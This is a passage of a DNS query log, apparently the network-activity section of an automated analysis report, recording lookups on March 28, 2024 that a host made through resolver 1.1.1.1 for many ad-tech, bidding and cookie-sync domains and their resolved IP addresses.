Mar 28, 2024 09:51:51.961675882 CET	1.1.1.1	192.168.2.4	0xb845	No error (0)	cdn.w55c.net		52.54.57.187	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961675882 CET	1.1.1.1	192.168.2.4	0xb845	No error (0)	cdn.w55c.net		52.7.252.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961675882 CET	1.1.1.1	192.168.2.4	0xb845	No error (0)	cdn.w55c.net		52.86.126.204	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.962929964 CET	1.1.1.1	192.168.2.4	0xbf96	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:51.973416090 CET	1.1.1.1	192.168.2.4	0x81f3	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:51.973416090 CET	1.1.1.1	192.168.2.4	0x81f3	No error (0)	rtb.adgrx.com	rtb.adgrx.com.tech.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:51.977714062 CET	1.1.1.1	192.168.2.4	0x2cc6	No error (0)	ad.mrtnsvr.com		34.102.163.6	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.036612034 CET	1.1.1.1	192.168.2.4	0xcb2c	No error (0)	a.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.036612034 CET	1.1.1.1	192.168.2.4	0xcb2c	No error (0)	a.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.038008928 CET	1.1.1.1	192.168.2.4	0xa070	No error (0)	a.tribalfusion.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:52.054547071 CET	1.1.1.1	192.168.2.4	0x1fbb	No error (0)	ipac.ctnsnet.com		35.186.193.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.055222988 CET	1.1.1.1	192.168.2.4	0x6f28	No error (0)	gocm.c.appier.net	gocm-geo.c.appier.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:52.055675030 CET	1.1.1.1	192.168.2.4	0x8e8c	No error (0)	core.iprom.net		195.5.165.20	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.057945967 CET	1.1.1.1	192.168.2.4	0xafe1	No error (0)	matching.truffle.bid		162.55.120.196	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.057945967 CET	1.1.1.1	192.168.2.4	0xafe1	No error (0)	matching.truffle.bid		23.88.86.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.069926977 CET	1.1.1.1	192.168.2.4	0xe156	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:52.070379972 CET	1.1.1.1	192.168.2.4	0xf264	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:52.080873013 CET	1.1.1.1	192.168.2.4	0xa5d3	No error (0)	sync2.resetdigital.co		51.222.105.60	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.081532001 CET	1.1.1.1	192.168.2.4	0x5086	No error (0)	thrtle.com		3.210.126.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.081532001 CET	1.1.1.1	192.168.2.4	0x5086	No error (0)	thrtle.com		107.21.29.170	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.081532001 CET	1.1.1.1	192.168.2.4	0x5086	No error (0)	thrtle.com		34.192.94.3	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.081532001 CET	1.1.1.1	192.168.2.4	0x5086	No error (0)	thrtle.com		52.203.90.63	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.081532001 CET	1.1.1.1	192.168.2.4	0x5086	No error (0)	thrtle.com		67.202.50.136	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.081532001 CET	1.1.1.1	192.168.2.4	0x5086	No error (0)	thrtle.com		34.225.72.47	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.083359003 CET	1.1.1.1	192.168.2.4	0xabfa	No error (0)	crb.kargo.com		3.209.218.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.083359003 CET	1.1.1.1	192.168.2.4	0xabfa	No error (0)	crb.kargo.com		34.198.236.129	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.083359003 CET	1.1.1.1	192.168.2.4	0xabfa	No error (0)	crb.kargo.com		52.202.181.167	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.083359003 CET	1.1.1.1	192.168.2.4	0xabfa	No error (0)	crb.kargo.com		3.94.60.39	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.083359003 CET	1.1.1.1	192.168.2.4	0xabfa	No error (0)	crb.kargo.com		52.22.143.242	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.083359003 CET	1.1.1.1	192.168.2.4	0xabfa	No error (0)	crb.kargo.com		18.204.186.145	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.084748983 CET	1.1.1.1	192.168.2.4	0x865e	No error (0)	sync.bfmio.com	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:52.085134983 CET	1.1.1.1	192.168.2.4	0xa0f5	No error (0)	sync.bfmio.com	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:52.085134983 CET	1.1.1.1	192.168.2.4	0xa0f5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.22.88.168	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.085134983 CET	1.1.1.1	192.168.2.4	0xa0f5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.6.199.203	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.085134983 CET	1.1.1.1	192.168.2.4	0xa0f5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		54.146.162.235	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.085134983 CET	1.1.1.1	192.168.2.4	0xa0f5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.70.84.90	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.085134983 CET	1.1.1.1	192.168.2.4	0xa0f5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.73.47.87	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.085134983 CET	1.1.1.1	192.168.2.4	0xa0f5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.54.190.52	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.085134983 CET	1.1.1.1	192.168.2.4	0xa0f5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.6.28.237	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.085134983 CET	1.1.1.1	192.168.2.4	0xa0f5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.3.95.188	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:52.089854956 CET	1.1.1.1	192.168.2.4	0xc3ab	No error (0)	gocm.c.appier.net	gocm-geo.c.appier.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:53.628871918 CET	1.1.1.1	192.168.2.4	0xa49f	No error (0)	match.prod.bidr.io		54.144.215.144	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:53.628871918 CET	1.1.1.1	192.168.2.4	0xa49f	No error (0)	match.prod.bidr.io		54.144.190.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:53.628871918 CET	1.1.1.1	192.168.2.4	0xa49f	No error (0)	match.prod.bidr.io		54.156.236.4	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:53.628871918 CET	1.1.1.1	192.168.2.4	0xa49f	No error (0)	match.prod.bidr.io		54.156.57.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:53.628871918 CET	1.1.1.1	192.168.2.4	0xa49f	No error (0)	match.prod.bidr.io		54.144.168.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:53.628871918 CET	1.1.1.1	192.168.2.4	0xa49f	No error (0)	match.prod.bidr.io		54.163.152.50	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:53.628871918 CET	1.1.1.1	192.168.2.4	0xa49f	No error (0)	match.prod.bidr.io		54.174.153.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:53.628871918 CET	1.1.1.1	192.168.2.4	0xa49f	No error (0)	match.prod.bidr.io		54.162.92.254	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.645011902 CET	1.1.1.1	192.168.2.4	0xa075	No error (0)	rtb.adstanding.com		52.0.59.89	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.645011902 CET	1.1.1.1	192.168.2.4	0xa075	No error (0)	rtb.adstanding.com		34.198.250.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.645245075 CET	1.1.1.1	192.168.2.4	0xe974	No error (0)	usersync.gumgum.com		35.172.99.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.645245075 CET	1.1.1.1	192.168.2.4	0xe974	No error (0)	usersync.gumgum.com		52.207.45.55	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.645245075 CET	1.1.1.1	192.168.2.4	0xe974	No error (0)	usersync.gumgum.com		3.213.224.199	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.645245075 CET	1.1.1.1	192.168.2.4	0xe974	No error (0)	usersync.gumgum.com		54.87.127.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.645245075 CET	1.1.1.1	192.168.2.4	0xe974	No error (0)	usersync.gumgum.com		3.214.33.241	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.840717077 CET	1.1.1.1	192.168.2.4	0x4990	No error (0)	sync-dmp.mobtrakk.com		5.161.124.197	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.840717077 CET	1.1.1.1	192.168.2.4	0x4990	No error (0)	sync-dmp.mobtrakk.com		5.161.187.67	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.840717077 CET	1.1.1.1	192.168.2.4	0x4990	No error (0)	sync-dmp.mobtrakk.com		5.161.188.99	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.848413944 CET	1.1.1.1	192.168.2.4	0x4726	Name error (3)	sync.tidaltv.com	none	none	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.197.146.88	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		100.25.105.255	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.88.150.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.224.170.178	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		174.129.246.1	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.217.2.212	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		44.218.249.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.879882097 CET	1.1.1.1	192.168.2.4	0x2d8c	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.206.96.18	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.881025076 CET	1.1.1.1	192.168.2.4	0x39e6	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.881025076 CET	1.1.1.1	192.168.2.4	0x39e6	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.881025076 CET	1.1.1.1	192.168.2.4	0x39e6	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.883357048 CET	1.1.1.1	192.168.2.4	0xa93c	No error (0)	contextual.media.net		23.45.148.30	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.886532068 CET	1.1.1.1	192.168.2.4	0xc9d8	No error (0)	r.bidswitch.net	pool-use-gce-sc.reims.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.886532068 CET	1.1.1.1	192.168.2.4	0xc9d8	No error (0)	pool-use-gce-sc.reims.iponweb.net		35.211.118.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.887415886 CET	1.1.1.1	192.168.2.4	0x113	No error (0)	r.bidswitch.net	pool-use-gce-sc.reims.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.891490936 CET	1.1.1.1	192.168.2.4	0xbc0b	No error (0)	gw-iad-bid.ymmobi.com	gw-iad-ym.yeahmobi.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.891490936 CET	1.1.1.1	192.168.2.4	0xbc0b	No error (0)	gw-iad-ym.yeahmobi.com	bid-iad-static.yeahtargeter.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.895554066 CET	1.1.1.1	192.168.2.4	0xb0a4	No error (0)	bidder.criteo.com	bidder.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.895554066 CET	1.1.1.1	192.168.2.4	0xb0a4	No error (0)	bidder.va1.vip.prod.criteo.com		74.119.119.129	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.896415949 CET	1.1.1.1	192.168.2.4	0xc2c2	No error (0)	bidder.criteo.com	bidder.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.897434950 CET	1.1.1.1	192.168.2.4	0xcff6	No error (0)	prebid-server.rubiconproject.com	prebid-server.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.897609949 CET	1.1.1.1	192.168.2.4	0x6c0a	No error (0)	prebid-server.rubiconproject.com	prebid-server.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898621082 CET	1.1.1.1	192.168.2.4	0x1ca8	No error (0)	rtb.openx.net		35.186.253.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898621082 CET	1.1.1.1	192.168.2.4	0x1ca8	No error (0)	rtb.openx.net		35.227.252.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898883104 CET	1.1.1.1	192.168.2.4	0x3d36	No error (0)	ads.betweendigital.com	ssp.ads.betweendigital.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898883104 CET	1.1.1.1	192.168.2.4	0x3d36	No error (0)	ssp.ads.betweendigital.com		172.240.127.129	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898883104 CET	1.1.1.1	192.168.2.4	0x3d36	No error (0)	ssp.ads.betweendigital.com		96.46.186.63	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898883104 CET	1.1.1.1	192.168.2.4	0x3d36	No error (0)	ssp.ads.betweendigital.com		96.46.186.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898883104 CET	1.1.1.1	192.168.2.4	0x3d36	No error (0)	ssp.ads.betweendigital.com		172.240.127.131	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898883104 CET	1.1.1.1	192.168.2.4	0x3d36	No error (0)	ssp.ads.betweendigital.com		96.46.186.57	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898883104 CET	1.1.1.1	192.168.2.4	0x3d36	No error (0)	ssp.ads.betweendigital.com		172.240.127.128	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898883104 CET	1.1.1.1	192.168.2.4	0x3d36	No error (0)	ssp.ads.betweendigital.com		96.46.186.61	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898883104 CET	1.1.1.1	192.168.2.4	0x3d36	No error (0)	ssp.ads.betweendigital.com		172.240.127.130	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.898894072 CET	1.1.1.1	192.168.2.4	0x930f	No error (0)	ads.betweendigital.com	ssp.ads.betweendigital.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.904316902 CET	1.1.1.1	192.168.2.4	0xb221	No error (0)	gw-iad-bid.ymmobi.com	gw-iad-ym.yeahmobi.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.904316902 CET	1.1.1.1	192.168.2.4	0xb221	No error (0)	gw-iad-ym.yeahmobi.com	bid-iad-static.yeahtargeter.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.904316902 CET	1.1.1.1	192.168.2.4	0xb221	No error (0)	bid-iad-static.yeahtargeter.com		47.253.61.56	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.924875021 CET	1.1.1.1	192.168.2.4	0x6ef9	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.56	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.57	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.73	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.150	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.40	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.41	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.9	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.72	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.172	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.151	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.121	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.925004005 CET	1.1.1.1	192.168.2.4	0x6c78	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.136	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.943702936 CET	1.1.1.1	192.168.2.4	0x6a79	No error (0)	sync-jp.im-apps.net		23.48.104.109	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.943702936 CET	1.1.1.1	192.168.2.4	0x6a79	No error (0)	sync-jp.im-apps.net		23.48.104.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.985076904 CET	1.1.1.1	192.168.2.4	0x4065	No error (0)	match.adsby.bidtheatre.com		134.122.57.34	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.985076904 CET	1.1.1.1	192.168.2.4	0x4065	No error (0)	match.adsby.bidtheatre.com		64.227.64.62	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.985076904 CET	1.1.1.1	192.168.2.4	0x4065	No error (0)	match.adsby.bidtheatre.com		188.166.17.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:00.474714041 CET	1.1.1.1	192.168.2.4	0xe7d8	No error (0)	www.google.com		142.251.167.104	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:00.474714041 CET	1.1.1.1	192.168.2.4	0xe7d8	No error (0)	www.google.com		142.251.167.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:00.474714041 CET	1.1.1.1	192.168.2.4	0xe7d8	No error (0)	www.google.com		142.251.167.99	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:00.474714041 CET	1.1.1.1	192.168.2.4	0xe7d8	No error (0)	www.google.com		142.251.167.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:00.474714041 CET	1.1.1.1	192.168.2.4	0xe7d8	No error (0)	www.google.com		142.251.167.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:00.474714041 CET	1.1.1.1	192.168.2.4	0xe7d8	No error (0)	www.google.com		142.251.167.147	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:00.474911928 CET	1.1.1.1	192.168.2.4	0x5581	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 28, 2024 09:52:00.955862999 CET	1.1.1.1	192.168.2.4	0x5dfa	No error (0)	ads.dxkulture.com	do-default-lb.dxkulture.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:00.955862999 CET	1.1.1.1	192.168.2.4	0x5dfa	No error (0)	do-default-lb.dxkulture.com		45.55.126.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:00.958031893 CET	1.1.1.1	192.168.2.4	0xf674	No error (0)	ads.dxkulture.com	do-default-lb.dxkulture.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:01.153173923 CET	1.1.1.1	192.168.2.4	0xddf7	No error (0)	ow.pubmatic.com	owv2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:01.153173923 CET	1.1.1.1	192.168.2.4	0xddf7	No error (0)	owv2.pubmnet.com	ow-nje1c.pubmatic.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:01.153173923 CET	1.1.1.1	192.168.2.4	0xddf7	No error (0)	ow-nje1c.pubmatic.com	ow-nje1.pubmatic.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:01.153173923 CET	1.1.1.1	192.168.2.4	0xddf7	No error (0)	ow-nje1.pubmatic.com		207.65.32.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:01.154675961 CET	1.1.1.1	192.168.2.4	0x9485	No error (0)	ow.pubmatic.com	owv2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:01.154675961 CET	1.1.1.1	192.168.2.4	0x9485	No error (0)	owv2.pubmnet.com	ow-nje1c.pubmatic.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:01.154675961 CET	1.1.1.1	192.168.2.4	0x9485	No error (0)	ow-nje1c.pubmatic.com	ow-nje1.pubmatic.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:02.759988070 CET	1.1.1.1	192.168.2.4	0xcba2	No error (0)	ads.us.e-planning.net		172.98.26.245	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:02.768552065 CET	1.1.1.1	192.168.2.4	0xccc9	No error (0)	s.tribalfusion.com			65	IN (0x0001)	false
Mar 28, 2024 09:52:02.768970966 CET	1.1.1.1	192.168.2.4	0x2bec	No error (0)	s.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:02.768970966 CET	1.1.1.1	192.168.2.4	0x2bec	No error (0)	s.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:02.796730995 CET	1.1.1.1	192.168.2.4	0x97a0	No error (0)	pool.admedo.com	pool-com.adizio.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:02.796730995 CET	1.1.1.1	192.168.2.4	0x97a0	No error (0)	pool-com.adizio.iponweb.net	adizio.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:02.796730995 CET	1.1.1.1	192.168.2.4	0x97a0	No error (0)	adizio.geo.iponweb.net		35.210.53.219	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:02.804845095 CET	1.1.1.1	192.168.2.4	0xa858	No error (0)	pool.admedo.com	pool-com.adizio.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:02.804845095 CET	1.1.1.1	192.168.2.4	0xa858	No error (0)	pool-com.adizio.iponweb.net	adizio.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:02.818382025 CET	1.1.1.1	192.168.2.4	0x9fd6	No error (0)	bsd.frontend.weborama.fr		34.107.182.139	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.078003883 CET	1.1.1.1	192.168.2.4	0x88cc	No error (0)	dx.frontend.weborama.com		34.111.205.194	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.418541908 CET	1.1.1.1	192.168.2.4	0x4f67	No error (0)	cs.yellowblue.io		34.233.219.30	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.418541908 CET	1.1.1.1	192.168.2.4	0x4f67	No error (0)	cs.yellowblue.io		54.243.220.127	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.418541908 CET	1.1.1.1	192.168.2.4	0x4f67	No error (0)	cs.yellowblue.io		107.20.136.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:03.418541908 CET	1.1.1.1	192.168.2.4	0x4f67	No error (0)	cs.yellowblue.io		52.205.90.189	A (IP address)	IN (0x0001)	false
